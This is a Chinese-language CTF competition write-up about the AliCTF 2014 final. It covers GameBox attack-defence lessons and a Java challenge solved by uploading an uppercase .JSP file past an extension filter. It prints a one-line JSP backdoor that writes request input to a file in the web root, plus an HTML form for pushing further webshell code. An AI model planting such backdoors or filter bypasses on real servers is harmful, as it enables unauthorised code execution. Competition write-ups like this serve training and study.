[CTF]AliCTF-Final-2014-Writeup

::L Team:: http://l-team.org

0x00 前言

之前AliCTF线下决赛,因之前未参加过此类GameBox攻防的CTF决赛,经验不足,在此做一小结,同为分享.

竞赛官网: http://www.alictf.com/

决赛包括两类题目,以攻防为主的GameBox(对攻模式,分析自己GameBox文件找出漏洞,攻击其他团队获取flag文件得分和防御其他团队的攻击);以解题为主的NPC题目(根据题目说明,对指定环境进行攻击测试拿Flag).

0x01 GameBox

GameBox分Bin1/Bin2与Web1/Web2,初始开放Bin1与Web1题目,每题目对应一个拥有题目运行权限账户,同时提供一个名为CTF的账户允许对所有题目文件进行修改(Patch).

需要注意的是,如果以CTF账户运行普通的Bin1等服务,则会引发安全隐患(可以读取其他如Bin2的Flag),决赛过程中也确有队伍因此悲剧.

竞赛刚开始,因为没这方面的主观意识,没想过服务会挂掉(导致Check不通过扣分),虽也很早分析出多处可让服务退出的漏洞,但只以为要取Flag,拿shell,未想过依赖打掉其他队伍服务得分.当主办方提及的时候,大部分队伍已经丢了很多分数.这是学到的这类CTF经验之一.

后面由于各种Payload打的比较频繁,经常服务会宕掉,不过写个守护脚本即可.Bash限制比较多,用Python实现即可.

对于WebCMS,首先要做的几件防护(改后台地址/密码)等,可加WAF,分析日志看官方check页面,保证能通过即可.然后再分析具体漏洞所在.

两天竞赛中,除却开始未发觉的服务宕掉,后面Patch及时,虽然最后Exp只拿了三个Flag,不过防守还好,丢分还算较少.

另外,有线网连入GameBox环境,无线网连入Wifi的情况下,因有线网有线,需添加路由表,Mac下添加方法:

sudo route flush
sudo route delete 0.0.0.0
sudo route add -net 0.0.0.0 172.16.1.254(无线网关)
sudo route add -net 10.1.100.0/24 10.1.7.254(有线GameBox网段)

0x02 Java NPC

Java自己本不了解很多,第一天研究了下Java NPC的第一道题目,绕来绕去居然顺利拿下First Blood.

Java Npc首先是一个上传绕过,上传文件大小不得超过106个字节,且限制某些后缀不能上传.这里使用大写JSP即可上传得到JSP脚本执行,框架为Jetty.后来kxlzx前辈提到题目本意是要下载Jetty分析其他后缀而非大小写转换

  <servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspf</url-pattern>
    <url-pattern>*.jspx</url-pattern>
    <url-pattern>*.xsp</url-pattern>
    <url-pattern>*.JSP</url-pattern>
    <url-pattern>*.JSPF</url-pattern>
    <url-pattern>*.JSPX</url-pattern>
    <url-pattern>*.XSP</url-pattern>
  </servlet-mapping>

可以上传文件后,发现UP目录可以列文件,先传了一个index.html.105字节的jsp脚本纠结了一段时间.后来这样解决:

首先传一个脚本获取当前路径

/tmp/webapp

而后修改这样一个后门

<%(new java.io.FileOutputStream("/tmp/webapp/up/xx.JSP")).write(request.getParameter("t").getBytes());%>

客户端写个HTML

<form action="http://xxxx/up/xxxx.JSP" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>

上传其他后门,接下来就是翻来翻去找到flag.顺利拿到一血.

Java后门的题目完成了一半,自己也一知半解,不多做记录.

0x03 小结

AliCTF决赛题目深度较高,感谢主办方,更感谢一起玩耍的队友.

最后,关于大四与工作,留个纪念:

awk -F '=' '/\[F2\]/{a=1}a==1&&$1~/A1/{print a;}' conf.ini
Comments
Write a Comment